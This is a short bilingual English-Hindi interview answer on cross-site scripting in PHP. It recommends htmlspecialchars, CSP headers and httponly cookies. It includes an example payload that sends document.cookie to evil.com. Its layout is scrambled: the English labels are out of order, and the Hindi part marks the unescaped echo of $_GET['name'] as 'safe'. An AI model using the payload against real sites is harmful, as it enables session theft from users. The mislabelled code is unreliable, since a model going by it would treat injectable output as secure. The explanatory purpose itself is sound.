Interview question
What is Cross-Site Scripting (XSS) and how do you prevent it in PHP? Cross-Site Scripting (XSS) क्या है और PHP में इसे कैसे रोकें?
Answer
XSS occurs when an attacker injects malicious JavaScript into pages viewed by other users, often via unescaped user input rendered in HTML.
Vulnerable:
Input:
Safe:
echo 'Welcome, ' . $_GET['name'];Input:
<script>document.location='http://evil.com/steal?c='+document.cookie</script>Safe:
echo 'Welcome, ' . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');| Practice | Why it helps |
|---|---|
| htmlspecialchars() on output | Converts special chars so browsers render, not execute, them |
| Content-Security-Policy header | Blocks inline/unauthorized scripts even if one slips through |
| httponly cookies | Prevents JS from reading session cookies |
XSS तब होता है जब attacker malicious JavaScript inject करता है जो unescaped user input के ज़रिए दूसरे users को दिखती है।
असुरक्षित:
सुरक्षित:
echo 'Welcome, ' . $_GET['name'];सुरक्षित:
echo 'Welcome, ' . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');Was this answer clear?